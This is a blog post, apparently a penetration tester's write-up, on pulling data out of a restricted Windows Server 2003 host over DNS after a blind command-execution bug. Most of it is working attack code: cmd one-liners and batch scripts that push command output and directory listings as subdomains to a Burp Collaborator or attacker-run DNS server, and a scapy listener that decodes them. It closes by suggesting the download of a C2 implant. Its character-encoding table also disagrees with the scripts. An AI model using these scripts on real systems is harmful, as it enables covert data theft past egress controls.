Exfiltrating data from a restricted Windows environment using DNS

This post aims to show you how i was able to perfom an initial reconnaissance within the operating system without the need to rely on other tools such as PowerShell, certutil or Living Off The Land (LOLBIN) binaries.

Scenario: 

  • Java Web Application vulnerable to a blind Remote Command Execution
  • Egress filtering rules allowing only DNS protocol
  • Operating System Windows Server 2003

After having found the vulnerability, the initial commands that i needed were "whoami" and "cd". So, the idea was to save the output of a command within a file and prepend its content to the burp collaborator domain name and perform a DNS query to get its output as subdomain.

nslookup [OUTPUT COMMAND].agupwd5anlxgca0ldez33q0u0l6bu0.burpcollaborator.net

For example:

whoami>myfile 
set /p v1= <tmpfile
cmd /v /c "echo nslookup %v1%.agupwd5anlxgca0ldez33q0u0l6bu0.burpcollaborator.net"

The oneliner

whoami > tmpfile && set /p v1= < tmpfile && cmd /v /c "echo nslookup %v1%.collaborator.burp.com"

This actually worked but when you encounter characters like \ or spaces that are not allowed into an URL, the DNS query will fail. A workaround was to create an encoding scheme to map the disallowed (reserved) characters to allowed ones and once received the DNS query decode it back. 

RFC 3986 states that these characters are reserved and cannot be used, so they must be encoded.

  • / -> ZA 
  • \ -> ZB
  • space -> ZC
  • ZF -> new line

Again, the idea is to save the output of a command inside a file, load its content to a variable and map reserved characters with my encoding scheme. This cannot be done using one line because the variable is not updated, so i need to save the code into a file.

@echo off
set /p v1=<tmpfile
set v2=%v1::=ZA%
set v2=%v2: =ZB%
set v2=%v2:\=ZC%
nslookup %v2%.agupwd5anlxgca0ldez33q0u0l6bu0.burpcollaborator.net

It works, but what about commands that outputs multiple lines, like dir. In this case i ended up using the for loop and, for each line perform a DNS query. EnableDelayedExpansion variable is needed, otherwise the v1 variable will not be updated after the fist set.

@echo off
Setlocal EnableDelayedExpansion
FOR /f "tokens=*" %%G IN ('dir /b %1') DO (
	set "v1=%%G"
	set "v1=!v1::=ZA!"
	set "v1=!v1:/=ZB!"
	set "v1=!v1:\=ZC!"
	set "v1=!v1: =ZD!"
	nslookup -type=A -timeout=0 !v1!.agupwd5anlxgca0ldez33q0u0l6bu0.burpcollaborator.net
)

To upload this file on the remote machine i've echoed each line echo "@echo off" >> upfile.bat" and once finished, execute it along with a folder that you need to see the content.

upfile.bat C:\

To be able to automate the process i've set up my own authoritative DNS server. I was using an EC2 instance on Amazon Web Services, so i bought a short domain name because this will allow to add more data within the URL.

Configuration steps:

  1. Route 53 > Hosted Zones >  mydomain.com 
  2. Create an A record for your domain ad add the IP address of the server instanc
  3. Create a NS record  with a TTL to 0 so will not be cached by the remote host

Now, if on the EC2 instance i listen for DNS queries with tcpdump, performing a DNS query i should see a DNS request to TEST subdomain. 

nslookup -type=A TEST.sub.mydomain.com

To automate the whole process i've created i simple python script that leverages scapy libraries to listen on port UDP 53 for DNS queries and decode the subdomain used as a payload.

#!/usr/bin/python3
#
# pip3 install scapy

# script must be run as root
#
from scapy.all import *

net_interface = "eth0"
packet_filter = " and ".join([
        "udp dst port 53",
        "udp[10] & 0x80 = 0"
#   "src host 1.1.1.1    # if you want to filter source ip address
])

# characters map
char_map = {
        "ZA": ":",
        "ZB": "/",
        "ZC": "\\",
        "ZD": " ",
        "ZE": "\n",
        "ZF": "",
}

def map_character(query_encoded):

        #query_decoded = query_encoded
        for key in char_map:
                if key in query_encoded:
                        query_encoded = query_encoded.replace(key, char_map[key] )

        return query_encoded

content = []
def dns_callback(packet):
        
        # parse DNS packet
        qname = str( packet[DNS].qd.qname.decode('utf-8') )
        qname_dec = map_character( qname ).replace(".sub.mydomain.com.","")  # remember the trailing dot

        # put it inside a dict
        if qname_dec not in content:
                content.append(qname_dec)
                print( qname_dec )


sniff(filter=packet_filter, prn=dns_callback, store=0,iface=net_interface)

 


This initial reconnaissance allowed me to exploit another vulnerability (arbitrary file upload ) to move the uploaded file to the directory used by the webserver.

This technique is intended to be used just for the initial recon phases. The next step should be the download of some C2 implant or thanks to the gathered information exploit other web application vulnerabilities.

References:

Comments

Popular posts from this blog

Java Exploit Code Obfuscation and Antivirus Bypass/Evasion (CVE-2012-4681)

The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423)

Deobfuscating Java 7u11 Exploit from Cool Exploit Kit (CVE-2013-0431)